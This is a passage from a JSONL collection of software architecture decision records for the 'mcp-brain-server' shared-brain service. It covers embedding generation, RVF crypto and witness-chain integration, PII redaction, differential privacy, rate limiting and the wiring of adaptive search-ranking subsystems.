DomainExpansionEngine with acceleration factor |\n| Drift Monitoring | Fully implemented | VectorDelta with CV threshold detection |\n| MinCut Partitioning | Fully implemented | SubpolynomialMinCut with CognitiveEngine |\n| LoRA Federation | Fully implemented | Gate B: per-parameter median + MAD outlier filtering + reputation-weighted trimmed mean |\n| Brainpedia Pages | Fully implemented | Reputation-gated creation, delta submissions, evidence, promotion |\n| WASM Nodes | Fully implemented | Reputation-gated publishing, SHA-256 verification, revocation |\n| SSE MCP Transport | Fully implemented | JSON-RPC over SSE with session management |\n| Challenge Nonce | Fully implemented | Replay protection with 5-min TTL |\n| Rate Limiting | Fully implemented | Per-contributor token bucket (100 writes/hr, 1000 reads/hr) |\n\n## 7. Version History\n\n| Version | Date | Changes |\n|---------|------|---------|\n| 0.2.1 | 2026-02-28 | Initial 48-command CLI, 91 MCP tools |\n| 0.2.2 | 2026-02-28 | Core version display fix, chalk ESM compat |\n| 0.2.3 | 2026-03-01 | Security: PI key URL fix, edge 404 handling, hooks UX |\n\n## 7. Consequences\n\n### Positive\n- PI key no longer leaked in URL paths across all edge commands\n- Edge commands gracefully handle backend errors instead of crashing\n- `hooks remember` is more ergonomic with sensible defaults\n- Comprehensive benchmark baseline established for future optimization\n- All 55 unit tests continue to pass\n\n### Negative\n- SONA native binding crash remains (fix requires @ruvector/sona release)\n- CLI monolith continues to grow (8,582 lines)\n- hooks recall still uses exact match (semantic search deferred)\n\n### Risks\n- SHAKE-256 pseudonym collision: negligible at 128 bits (2^64 birthday bound)\n- Edge 404 text fallback: `resp.text()` could theoretically be large; mitigated by Cloud Run response limits", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-073-pi-platform-security-optimization.md", "created_at": "2026-03-28T11:58:49.706041+00:00", "content_hash": "fbc490aa427fe5d797ee397809d2e91b4f0274e0b15fc6188f63f360ef45336f"} +{"id": "5bb9b168-690e-4039-b795-8117876ba489", "source": "adr", "text": "# ADR-074: RuvLLM Neural Embedding Integration\n\n**Status:** Implemented (Phase 2 \u2014 RlmEmbedder Active)\n**Date:** 2026-03-01 (Phase 1), 2026-03-03 (Phase 2)\n**Author:** ml-engineer, platform-eng\n\n## Context\n\nThe \u03c0.ruv.io shared brain server previously relied on client-side embedding generation (SHA-256 hash or token-averaged hashes) which produced poor-quality embeddings that failed cosine similarity search. A keyword search fallback was added as a stopgap, but vector-native search is essential for scaling beyond trivial corpus sizes.\n\nThe ruvllm crate provides a pure-Rust embedding pipeline with three tiers:\n1. **HashEmbedder** \u2014 FNV-1a hash with character bigrams, L2-normalized (no model required)\n2. **RlmEmbedder** \u2014 Recursive context-aware embeddings conditioned on a neighbor corpus\n3. **Candle sentence transformer** \u2014 Neural sentence embeddings (all-MiniLM-L6-v2 or similar)\n\n## Decision\n\nIntegrate ruvllm into mcp-brain-server with a phased approach:\n\n### Phase 1 (Implemented): HashEmbedder\n- Add `ruvllm = { path = \"../ruvllm\", default-features = false, features = [\"minimal\"] }` dependency\n- Create `src/embeddings.rs` wrapping `ruvllm::bitnet::rlm_embedder::HashEmbedder`\n- Server auto-generates 128-dim L2-normalized embeddings when clients send empty `embedding: []`\n- Both storage and search use the same embedding dimension\n- No model download, no cold-start penalty, deterministic output\n\n### Phase 2 (Implemented 2026-03-03): RlmEmbedder\n- `FlatNeighborStore` populated from all stored memories on startup\n- `RlmEmbedder<HashEmbedder, FlatNeighborStore>` active at **50+ corpus documents** (was 1000)\n- Storage uses **CorpusConditioned** variant (base=0.7, context=0.25, anti=0.05)\n- Search uses **QueryConditioned** variant (base=0.6, context=0.3, anti=0.1)\n- **Re-embedding on startup**: When RLM activates, all persisted memories are re-embedded with CorpusConditioned RLM for embedding space consistency (stored embeddings may have been HashEmbedder-generated)\n- Graph similarity threshold raised from 0.30 \u2192 0.55 for RLM (contextual gravity makes embeddings more similar)\n- Clone derives added upstream to `HashEmbedder` and `FlatNeighborStore`\n\n### Phase 3 (Future): Candle Sentence Transformer\n- Enable `candle` feature for ruvllm\n- Load all-MiniLM-L6-v2 (~90MB) or gte-small (~30MB) model\n- 384-dim sentence embeddings with true semantic understanding\n- Trade-off: model download time vs. embedding quality\n- Mitigate cold-start with model pre-loading in Cloud Run min-instances\n\n## Architecture\n\n```\nClient Request (empty embedding)\n \u2502\n \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 routes.rs: share_memory \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 Auto-embed check: \u2502 \u2502\n\u2502 \u2502 empty or dim\u2260128? \u2502\u2500\u2500\u2500\u2500 Yes \u2500\u2500\u25b6 EmbeddingEngine::embed_for_storage()\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u25bc\n\u2502 \u2502 No \u2502 ruvllm::HashEmbedder::embed()\n\u2502 \u25bc \u2502 FNV-1a + char bigrams + L2 norm\n\u2502 Use client embedding \u2502 \u2502\n\u2502 \u2502 \u2502 \u25bc\n\u2502 \u25bc \u2502 128-dim Vec<f32>\n\u2502 Verifier::verify_share \u2502\u25c0\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\u2502 (on final embedding) \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\nClient Search (text query)\n \u2502\n \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 routes.rs: search_memories\u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 Has text query q? \u2502\u2500\u2500\u2500\u2500 Yes \u2500\u2500\u25b6 EmbeddingEngine::embed()\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u25bc\n\u2502 \u2502 No \u2502 Same HashEmbedder pipeline\n\u2502 \u25bc \u2502 \u2502\n\u2502 Return empty \u2502 \u25bc\n\u2502 \u2502 cosine_similarity(query_emb, stored_emb)\n\u2502 \u2502 \u2192 reputation-weighted ranking\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n## Key Design Decisions\n\n1. **Server-side embedding**: Clients send empty `embedding: []` and the server generates. This ensures:\n - Consistent dimension (128) across all memories\n - No client-side embedding logic needed\n - Future backend upgrades transparent to clients\n - Backward compatible: clients can still send pre-computed embeddings\n\n2. **`minimal` feature**: Avoids pulling in candle-core (~50 crates). HashEmbedder is pure Rust with zero external dependencies.\n\n3. **128-dim**: Matches existing SONA engine, cognitive engine, and ranking engine dimensions. Lower than typical sentence transformer (384) but sufficient for hash-based embeddings.\n\n4. **Embedding verification after auto-generation**: The share handler generates embeddings before calling `Verifier::verify_share()`, so the verification validates the server-generated embedding (not an empty array).\n\n5. **Corpus tracking**: `EmbeddingEngine::add_to_corpus()` tracks corpus size for future RlmEmbedder integration. Status endpoint reports `embedding_corpus` count.\n\n## Dependencies Added\n\n```toml\nruvllm = { path = \"../ruvllm\", default-features = false, features = [\"minimal\"] }\n```\n\nTransitive: `ruvector-core`, `ruvector-sona` (already in tree)\n\n## Files Changed\n\n| File | Change |\n|------|--------|\n| `crates/mcp-brain-server/Cargo.toml` | Added ruvllm dependency |\n| `crates/mcp-brain-server/src/embeddings.rs` | New: EmbeddingEngine wrapping HashEmbedder |\n| `crates/mcp-brain-server/src/lib.rs` | Added `pub mod embeddings` |\n| `crates/mcp-brain-server/src/types.rs` | Added `embedding_engine` to AppState and StatusResponse |\n| `crates/mcp-brain-server/src/routes.rs` | Auto-embed in share, embed-based search, status fields |\n\n## Consequences\n\n### Positive\n- Vector similarity search works with consistent 128-dim embeddings\n- No model download or external service required\n- Deterministic: same text always produces same embedding\n- Zero cold-start penalty (HashEmbedder is <1ms)\n- Clients simplified: no embedding logic needed\n\n### Negative\n- RLM contextual gravity reduces discriminative power on homogeneous corpora \u2014 keyword matching must remain dominant signal\n- 128-dim is lower fidelity than 384-dim sentence transformers\n- Re-embedding on startup adds ~2-3s to cold start with 237 memories\n- FNV-1a hash collisions possible for very similar token patterns (base embedder)\n\n### Neutral\n- Keyword search still primary ranking signal (keyword floor +1.0 always outranks embedding-only)\n- Future upgrade to candle sentence transformer is backward-compatible (same dimension)\n\n## Metrics (Phase 1 Deployment \u2014 2026-03-01)\n\n- **Seeded:** 37 memories, 19 contributors\n- **Search hit rate:** 10/10 queries return results\n- **Graph:** 37 nodes, 200 edges\n- **Clusters:** 7 (category-based partition)\n- **Avg quality:** 0.838\n- **Embedding corpus:** 37 entries\n- **Build size:** No significant increase (ruvllm minimal is pure Rust)\n\n## Metrics (Phase 2 Deployment \u2014 2026-03-03)\n\n- **Memories:** 237, **Contributors:** 17\n- **Embedding engine:** `ruvllm::RlmEmbedder` (context-aware, activated at 50+ docs)\n- **Search P@1:** 100% (30/30 benchmark queries)\n- **Search P@3:** 100% (30/30)\n- **Graph:** 237 nodes, 827 edges (threshold 0.55)\n- **Clusters:** 20 (meaningful MinCut partitions)\n- **Avg quality:** 0.73\n- **Votes:** 608\n- **LoRA epoch:** 2\n\n### Search Intelligence Stack (Phase 2)\n\n| Layer | Signal | Weight (keyword path) | Weight (no keyword) |\n|-------|--------|----------------------|---------------------|\n| Keyword matching | Word-boundary title/tag/category/content | 0.85 \u00d7 boost + 1.0 floor | \u2014 |\n| RLM embedding similarity | QueryConditioned cosine | 0.05 | 0.45 |\n| Graph PPR (ForwardPushSolver) | PageRank over knowledge graph | 0.04 | 0.25 |\n| Vote quality (Bayesian Beta) | Learning-to-rank from 608 votes | 0.03 | 0.15 |\n| Reputation | Multi-factor contributor trust | 0.03 | 0.15 |\n| Query expansion | 32 synonym rules (abbreviations) | implicit | implicit |\n| Attention ranking | TopologyGatedAttention post-processing | post-score | post-score |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-074-ruvllm-neural-embeddings.md", "created_at": "2026-03-28T11:58:49.706167+00:00", "content_hash": "44dd37229956906d8344e5d8fc3c4fcd0e0c462261a4d7a828cc6dce33d150ae"} +{"id": "2ae86de3-cf98-4c05-b027-bcbd052e2943", "source": "adr", "text": "# ADR-075: Wire Full RVF AGI Stack into mcp-brain-server\n\n**Status**: Implemented\n**Date**: 2026-03-03\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-058 (Hash Security Optimization), ADR-059 (Shared Brain Google Cloud), ADR-060 (Shared Brain Capabilities), ADR-029 (RVF Canonical Format), ADR-057 (Federated RVF Transfer Learning)\n\n## 1. Context\n\nThe Shared Brain server (`crates/mcp-brain-server/`) is deployed and operational at \u03c0.ruv.io with 237+ memories, P@1 100%, and 20 knowledge clusters. However, it currently uses **inline reimplementations** of cryptographic operations (sha2/sha3/ed25519-dalek) instead of the production RVF crates. Specifically:\n\n- `verify.rs` has dead-code functions (`verify_ed25519_signature`, `verify_witness_chain`, `verify_content_hash`) that are never called from route handlers\n- PII checking uses 8 simple string patterns instead of the 12-rule regex `PiiStripper` from `rvf-federation`\n- No differential privacy noise injection on embeddings\n- No witness chains linking memory operations\n- No RVF container construction pipeline\n- No `NegativeCache` or `BudgetTokenBucket` from `rvf-runtime`\n\nThe plan described in ADR-060 Section 2.5 specifies a canonical 10-segment RVF container layout per memory. This ADR documents the decision to wire in the real RVF crate implementations to activate all planned security and AGI features.\n\n## 2. Decision\n\nReplace inline crypto and security implementations in `mcp-brain-server` with the production RVF crate stack: `rvf-crypto`, `rvf-wire`, `rvf-types`, `rvf-federation`, and `rvf-runtime`.\n\n### 2.1 New Dependencies\n\nAdd to `crates/mcp-brain-server/Cargo.toml`:\n\n```toml\n# RVF AGI Format Stack\nrvf-types = { path = \"../rvf/rvf-types\", features = [\"std\"] }\nrvf-crypto = { path = \"../rvf/rvf-crypto\" }\nrvf-wire = { path = \"../rvf/rvf-wire\" }\nrvf-federation = { path = \"../rvf/rvf-federation\", features = [\"serde\"] }\nrvf-runtime = { path = \"../rvf/rvf-runtime\" }\n```\n\n### 2.2 Phase 1: Replace Inline Crypto with rvf-crypto\n\n- `verify_content_hash()`: Delegate to `rvf_crypto::shake256_256()` + constant-time compare\n- `verify_witness_chain()`: Keep old string-step method for backward compat; add `verify_rvf_witness_chain()` using `rvf_crypto::verify_witness_chain(data: &[u8]) -> Result<Vec<WitnessEntry>>`\n- `verify_ed25519_signature()`: Keep as-is (already uses ed25519-dalek; Cargo dedupes)\n- New: `verify_rvf_segment_signature()` using `rvf_crypto::verify_segment(header, payload, footer, pubkey) -> bool`\n\n### 2.3 Phase 2: PII Stripping with rvf-federation PiiStripper\n\nReplace the 8-pattern inline PII check with `rvf_federation::PiiStripper`:\n- 12 regex rules: Unix/Windows paths, IPv4/IPv6, emails, API keys (sk-, AKIA, ghp_), Bearer tokens, env vars, @usernames\n- `strip_fields(&[(&str, &str)]) -> (Vec<(String, String)>, RedactionLog)` returns redacted fields + attestation log\n- `contains_pii(input: &str) -> bool` for backward-compatible rejection check\n- `RedactionLog` stored as JSON on `BrainMemory.redaction_log`\n\nPII stripping occurs **after** `verify_share()` and **before** storage \u2014 redacted values replace raw input.\n\n### 2.4 Phase 3: Differential Privacy for Embeddings\n\nWire `rvf_federation::DiffPrivacyEngine::gaussian(epsilon, delta, sensitivity, clipping_norm)`:\n- After embedding generation, convert `Vec<f32>` \u2192 `Vec<f64>`, call `dp.add_noise(&mut params) -> DiffPrivacyProof`, convert back\n- Store proof JSON on `BrainMemory.dp_proof`\n- Feature-gated by `RVF_DP_ENABLED` (default: `false`) \u2014 enable only after P@1 regression testing\n- Default epsilon=1.0, configurable via `RVF_DP_EPSILON`\n\n**Risk**: DP noise reduces embedding precision. Start with epsilon=1.0 (low noise). Benchmark P@1 before enabling in production.\n\n### 2.5 Phase 4: Witness Chains for Memory Operations\n\nBuild a 3-entry linked witness chain per memory using `rvf_crypto::create_witness_chain()`:\n\n| Entry | Type | Action Hash |\n|-------|------|-------------|\n| 1 | PROVENANCE (0x01) | SHAKE-256 of PII-stripped content |\n| 2 | COMPUTATION (0x02) | SHAKE-256 of embedding bytes |\n| 3 | PROVENANCE (0x01) | SHAKE-256 of final memory JSON |\n\nEach entry: `prev_hash` linked by `create_witness_chain`, `action_hash` = `shake256_256(data)`, `timestamp_ns` = current time, `witness_type` = entry type.\n\nChain bytes stored on `BrainMemory.witness_chain`. `witness_hash = hex(shake256_256(chain_bytes))`.\n\nAdversarial detection: `rvf_runtime::is_degenerate_distribution(distances, n_probe)` \u2014 log-only, no rejection, to avoid false positives.\n\n### 2.6 Phase 5: RVF Container Construction Pipeline\n\nNew file `crates/mcp-brain-server/src/pipeline.rs` (~120 lines):\n\nAssemble segments using `rvf_wire::write_segment(seg_type, payload, flags, segment_id)`:\n\n| Segment | Type | Content |\n|---------|------|---------|\n| VEC (0x01) | Embedding | f32 LE bytes |\n| META (0x07) | Metadata | JSON (title, content, tags, category) |\n| WITNESS (0x0A) | Audit trail | Witness chain bytes |\n| DiffPrivacyProof (0x34) | Privacy attestation | Proof JSON bytes (if DP enabled) |\n| RedactionLog (0x35) | PII attestation | Redaction JSON bytes (if PII stripped) |\n\nContainer uploaded to GCS. Segment count reported in `ShareResponse.rvf_segments`.\n\n### 2.7 Phase 6: Enhanced Rate Limiting + Negative Cache\n\nWire `rvf_runtime::NegativeCache::new(threshold: 5, window: 3600s, max_entries: 10_000)`:\n- `QuerySignature::from_query(&[f32])` \u2014 FNV-1a of int8-quantized vector\n- Check negative cache before full search in `search_memories()`\n- Record degenerate embeddings in negative cache after adversarial detection\n\n## 3. Type Changes\n\n### BrainMemory (new fields, all `Option<T>` with `#[serde(default)]`)\n\n| Field | Type | Phase | Purpose |\n|-------|------|-------|---------|\n| `redaction_log` | `Option<String>` | 2 | JSON-serialized `RedactionLog` |\n| `dp_proof` | `Option<String>` | 3 | JSON-serialized `DiffPrivacyProof` |\n| `witness_chain` | `Option<Vec<u8>>` | 4 | Raw witness chain bytes |\n\n### AppState (new fields)\n\n| Field | Type | Phase | Purpose |\n|-------|------|-------|---------|\n| `dp_engine` | `Arc<Mutex<DiffPrivacyEngine>>` | 3 | Shared DP noise generator |\n| `negative_cache` | `Arc<Mutex<NegativeCache>>` | 6 | Degenerate query cache |\n\n### ShareResponse (new fields)\n\n| Field | Type | Phase | Purpose |\n|-------|------|-------|---------|\n| `witness_hash` | `String` | 4 | Hex SHAKE-256 of witness chain |\n| `rvf_segments` | `Option<u32>` | 5 | Segment count in RVF container |\n\n### StatusResponse (new fields)\n\n| Field | Type | Phase | Purpose |\n|-------|------|-------|---------|\n| `dp_epsilon` | `f64` | 3 | Current DP epsilon parameter |\n| `dp_budget_used` | `f64` | 3 | Fraction of privacy budget consumed |\n| `rvf_segments_per_memory` | `f64` | 6 | Average segments per RVF container |\n\n## 4. Feature Gating\n\nAll new features are controlled by environment variables for gradual rollout:\n\n| Feature | Env Var | Default | Risk | Notes |\n|---------|---------|---------|------|-------|\n| PII stripping | `RVF_PII_STRIP` | `true` | Low | High value, replaces inline patterns |\n| DP noise | `RVF_DP_ENABLED` | `false` | Medium | Enable after P@1 regression test |\n| DP epsilon | `RVF_DP_EPSILON` | `1.0` | \u2014 | Privacy loss per memory |\n| Witness chains | `RVF_WITNESS` | `true` | Low | Audit trail, no behavioral change |\n| RVF containers | `RVF_CONTAINER` | `true` | Low | Upload .rvf to GCS |\n| Adversarial detect | `RVF_ADVERSARIAL` | `false` | Medium | Log-only initially |\n| Negative cache | `RVF_NEG_CACHE` | `false` | Medium | Enable after tuning threshold |\n\n## 5. Backward Compatibility\n\n- All new `BrainMemory` fields are `Option<T>` with `#[serde(default)]` \u2014 existing persisted memories deserialize cleanly\n- Old `verify_no_pii()` / `verify_witness_chain()` methods kept for backward compat\n- PII stripping adds redaction but does not change the rejection behavior for existing API clients\n- Witness chain bytes stored alongside (not instead of) the existing `witness_hash` string field\n- `ShareResponse` gains new fields \u2014 JSON clients ignore unknown fields by default\n\n## 6. Files Summary\n\n| File | Action | Phase |\n|------|--------|-------|\n| `crates/mcp-brain-server/Cargo.toml` | Add 5 rvf-* deps | 1 |\n| `crates/mcp-brain-server/src/verify.rs` | Replace crypto, add PII strip, add adversarial detect | 1, 2, 4 |\n| `crates/mcp-brain-server/src/routes.rs` | Wire PII strip, DP noise, witness chains, RVF build, neg cache | 2, 3, 4, 5, 6 |\n| `crates/mcp-brain-server/src/types.rs` | Add fields to BrainMemory, AppState, StatusResponse, ShareResponse | 2, 3, 4, 6 |\n| `crates/mcp-brain-server/src/pipeline.rs` | **New**: RVF container construction | 5 |\n| `crates/mcp-brain-server/src/lib.rs` | Add `pub mod pipeline` | 5 |\n\n## 7. Verification\n\n1. `cargo build -p mcp-brain-server` \u2014 compiles with all rvf-* crates\n2. `cargo test -p mcp-brain-server` \u2014 all existing tests pass + new tests:\n - `test_rvf_witness_chain_roundtrip` \u2014 create 3-entry chain, verify integrity\n - `test_pii_strip_redacts_paths` \u2014 `/home/user/data` \u2192 `<PATH_1>`\n - `test_pii_strip_redacts_email` \u2014 `user@example.com` \u2192 `<EMAIL_1>`\n - `test_dp_noise_changes_embedding` \u2014 same input produces different output\n - `test_rvf_container_has_segments` \u2014 build container, count \u2265 3 segments\n - `test_adversarial_degenerate_detection` \u2014 uniform distances flagged\n3. Deploy to Cloud Run, verify `/v1/status` shows new fields (`dp_epsilon`, `rvf_segments_per_memory`)\n4. POST a memory, verify response has `witness_hash`, `rvf_segments`\n5. GET the memory back, verify `redaction_log` present if PII was stripped\n6. Run P@1 benchmark to confirm no regression (DP disabled by default)\n\n## 7.1 Phase 7: Hot-Path Performance Optimizations\n\nAfter deployment validation, a deep review identified 7 per-request allocation and I/O bottlenecks. All were eliminated:\n\n| Issue | Location | Impact | Fix |\n|-------|----------|--------|-----|\n| PiiStripper recompiles 12 regexes per call | `verify.rs:126` | 84 regex compiles per 5-tag request | Cache PiiStripper in `Verifier` struct |\n| Verifier re-allocated per request | `routes.rs:337, 1206` | 2 allocations + 12 regex compiles per request | Shared `Arc<RwLock<Verifier>>` in AppState |\n| 9 env::var reads per share request | `routes.rs` (6 locations) | 9 syscalls per write request | `RvfFeatureFlags::from_env()` at startup |\n| Synonym HashMap allocated per search | `routes.rs:578-616` | 28-entry HashMap per search | `static LazyLock<HashMap>` (compiled once) |\n| `all_memories()` called twice in status | `routes.rs:1018+1045` | 2x full DashMap clone per status request | Reuse single `all_memories` binding |\n| `env::var(\"BRAIN_SYSTEM_KEY\")` per auth | `auth.rs:71` | 1 syscall per authenticated request | `static LazyLock<String>` (read once) |\n| Embedding bytes via flat_map (no pre-alloc) | `routes.rs:362` | Repeated small allocations in witness chain | `Vec::with_capacity(len * 4)` pre-allocation |\n\n**Net effect**: Eliminates ~96 regex compilations + ~10 env::var syscalls + ~29 HashMap entries per write request. Search requests eliminate HashMap re-allocation entirely.\n\n## 7.2 Phase 8: AGI Capability Wiring\n\nAfter the RVF stack and hot-path optimizations, four AGI learning subsystems were wired into the brain server to enable adaptive intelligence:\n\n### 8.1 SONA 3-Tier Learning (`SONA_ENABLED`, default: `true`)\n\nWire `sona::SonaEngine` for hierarchical pattern learning:\n\n| Integration Point | Handler | Behavior |\n|-------------------|---------|----------|\n| Pattern re-ranking | `search_memories()` | Boost results matching learned patterns (cosine \u00d7 quality \u00d7 0.15) |\n| Trajectory tracking | `search_memories()` | Record search\u2192result trajectories for online learning |\n| Background learning | `status()` | Trigger periodic pattern consolidation via `sona.tick()` |\n| Stats endpoint | `GET /v1/sona/stats` | Patterns stored, trajectories buffered, background ticks |\n\n**AppState**: `sona: Arc<RwLock<SonaEngine>>` initialized with `SonaEngine::new(128)`.\n\n### 8.2 Global Workspace Theory Attention (`GWT_ENABLED`, default: `true`)\n\nWire `ruvector_nervous_system::routing::workspace` for salience-based competition:\n\n| Integration Point | Handler | Behavior |\n|-------------------|---------|----------|\n| Salience competition | `search_memories()` | Broadcast top 3\u00d7limit candidates, K-WTA competition selects winners |\n| Attention boost | `search_memories()` | Winners get +0.1 score boost, results re-sorted by salience |\n| Workspace load | `status()` | Report `gwt_workspace_load` (0.0-1.0) and `gwt_avg_salience` |\n\n**AppState**: `workspace: Arc<RwLock<GlobalWorkspace>>` initialized with `GlobalWorkspace::with_threshold(7, 0.3)` (7-item capacity per Miller's Law).\n\n### 8.3 Temporal Delta Tracking (`TEMPORAL_ENABLED`, default: `true`)\n\nWire `ruvector_delta_core::DeltaStream<VectorDelta>` for knowledge evolution tracking:\n\n| Integration Point | Handler | Behavior |\n|-------------------|---------|----------|\n| Embedding delta | `share_memory()` | Push `VectorDelta::from_dense(embedding)` with timestamp |\n| Vote delta | `vote_memory()` | Push vote signal (+1/-1) as delta event |\n| Stats endpoint | `GET /v1/temporal` | Total deltas, recent-hour deltas, knowledge velocity, trend |\n| Status fields | `status()` | Report `knowledge_velocity` (deltas/hour) and `temporal_deltas` |\n\n**AppState**: `delta_stream: Arc<RwLock<DeltaStream<VectorDelta>>>` initialized with `DeltaStream::for_vectors(128)`.\n\n### 8.4 Meta-Learning Exploration (`META_LEARNING_ENABLED`, default: `true`)\n\nWire `ruvector_domain_expansion::DomainExpansionEngine` meta-learning subsystem:\n\n| Integration Point | Handler | Behavior |\n|-------------------|---------|----------|\n| Curiosity bonus | `search_memories()` | Boost under-explored categories by `novelty \u00d7 0.05` |\n| Contribution recording | `share_memory()` | Record \"contribute\" arm decision with reward 0.5 |\n| Vote reward | `vote_memory()` | Feed upvote=1.0/downvote=0.0 as reward on \"search\" arm |\n| Explore endpoint | `GET /v1/explore` | Most curious category, regret summary, plateau status, health |\n| Status fields | `status()` | Report `meta_avg_regret` and `meta_plateau_status` |\n\n**AppState**: `domain_engine: Arc<RwLock<DomainExpansionEngine>>` (already existed, now actively used).\n\n### 8.5 Updated Feature Gating Table\n\n| Feature | Env Var | Default | Risk | Phase |\n|---------|---------|---------|------|-------|\n| PII stripping | `RVF_PII_STRIP` | `true` | Low | 2 |\n| DP noise | `RVF_DP_ENABLED` | `false` | Medium | 3 |\n| DP epsilon | `RVF_DP_EPSILON` | `1.0` | \u2014 | 3 |\n| Witness chains | `RVF_WITNESS` | `true` | Low | 4 |\n| RVF containers | `RVF_CONTAINER` | `true` | Low | 5 |\n| Adversarial detect | `RVF_ADVERSARIAL` | `false` | Medium | 6 |\n| Negative cache | `RVF_NEG_CACHE` | `false` | Medium | 6 |\n| SONA learning | `SONA_ENABLED` | `true` | Low | 8 |\n| GWT attention | `GWT_ENABLED` | `true` | Low | 8 |\n| Temporal tracking | `TEMPORAL_ENABLED` | `true` | Low | 8 |\n| Meta-learning | `META_LEARNING_ENABLED` | `true` | Low | 8 |\n\n### 8.6 Updated StatusResponse Fields\n\n| Field | Type | Phase | Purpose |\n|-------|------|-------|---------|\n| `dp_epsilon` | `f64` | 3 | Current DP epsilon parameter |\n| `dp_budget_used` | `f64` | 3 | Fraction of privacy budget consumed |\n| `rvf_segments_per_memory` | `f64` | 5 | Average segments per RVF container |\n| `gwt_workspace_load` | `f32` | 8 | GWT attention workspace utilization |\n| `gwt_avg_salience` | `f32` | 8 | Average salience of workspace representations |\n| `knowledge_velocity` | `f64` | 8 | Embedding deltas per hour |\n| `temporal_deltas` | `usize` | 8 | Total temporal deltas recorded |\n| `sona_patterns` | `usize` | 8 | SONA patterns stored |\n| `sona_trajectories` | `usize` | 8 | SONA trajectories buffered |\n| `meta_avg_regret` | `f64` | 8 | Meta-learning average regret (lower = better) |\n| `meta_plateau_status` | `String` | 8 | Meta-learning plateau status |\n\n### 8.7 New Endpoints\n\n| Endpoint | Method | Phase | Response |\n|----------|--------|-------|----------|\n| `/v1/sona/stats` | GET | 8 | Patterns, trajectories, background ticks |\n| `/v1/temporal` | GET | 8 | Delta count, velocity, trend direction |\n| `/v1/explore` | GET | 8 | Curiosity, regret, plateau, health diagnostics |\n\n### 8.8 Dependencies (already present, now actively wired)\n\n```toml\n# Already in Cargo.toml \u2014 Phase 8 wires these into route handlers\nsona = { package = \"ruvector-sona\", path = \"../sona\", features = [\"serde-support\"] }\nruvector-nervous-system = { path = \"../ruvector-nervous-system\" }\nruvector-delta-core = { path = \"../ruvector-delta-core\" }\nruvector-domain-expansion = { path = \"../ruvector-domain-expansion\" }\n```\n\n### 8.9 AGI Readiness Estimate\n\n| Capability | Before Phase 8 | After Phase 8 |\n|------------|----------------|---------------|\n| Adaptive search ranking | Static cosine+keyword | SONA patterns + GWT attention + curiosity bonus |\n| Knowledge evolution tracking | None | Temporal deltas, velocity, trend detection |\n| Meta-cognitive awareness | None | Regret tracking, plateau detection, Pareto optimization |\n| Self-directed exploration | None | Curiosity-driven category exploration |\n| **Estimated AGI readiness** | **~40%** | **~65%** |\n\n## 8. Consequences\n\n### Positive\n\n- Eliminates code duplication between inline crypto and production RVF crates\n- Activates the full 12-rule PII stripping pipeline (was 8 simple patterns)\n- Enables differential privacy for embedding protection (opt-in)\n- Creates tamper-evident witness chains for every memory operation\n- Produces real RVF containers stored in GCS for audit and federation\n- Adds adversarial embedding detection (log-only)\n- Adds negative cache to reduce cost of repeated degenerate queries\n\n### Negative\n\n- Five new path dependencies increase compile time (~15s incremental)\n- DP noise (when enabled) will reduce embedding precision \u2014 requires P@1 benchmarking\n- Witness chain adds ~219 bytes (3 \u00d7 73) per memory\n- RVF container construction adds ~2ms latency per share operation\n\n### Risks\n\n- `DiffPrivacyEngine` uses thread-local RNG \u2014 `parking_lot::Mutex` serializes access; acceptable at current QPS\n- `NegativeCache` false positives could block legitimate queries if threshold is too low \u2014 start with `threshold=5`\n- PII stripping regex rules may be too aggressive for some content types \u2014 monitor false positive rate via `RedactionLog`\n\n## 9. Related ADRs\n\n| ADR | Relationship |\n|-----|-------------|\n| ADR-029 | RVF Canonical Format \u2014 wire format specification |\n| ADR-057 | Federated RVF Transfer Learning \u2014 federation protocol |\n| ADR-058 | Hash Security Optimization \u2014 SHAKE-256 content hashing used by witness chains |\n| ADR-059 | Shared Brain Google Cloud \u2014 infrastructure, deployment, module migration map |\n| ADR-060 | Shared Brain Capabilities \u2014 10-segment container layout, threat model |\n| ADR-068 | Domain Expansion Transfer Learning \u2014 meta-learning engine |\n| ADR-074 | RuvLLM Neural Embeddings \u2014 embedding engine |\n| ADR-076 | AGI Capability Wiring Architecture \u2014 Phase 8 architecture decisions |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-075-rvf-agi-stack-brain-integration.md", "created_at": "2026-03-28T11:58:49.706320+00:00", "content_hash": 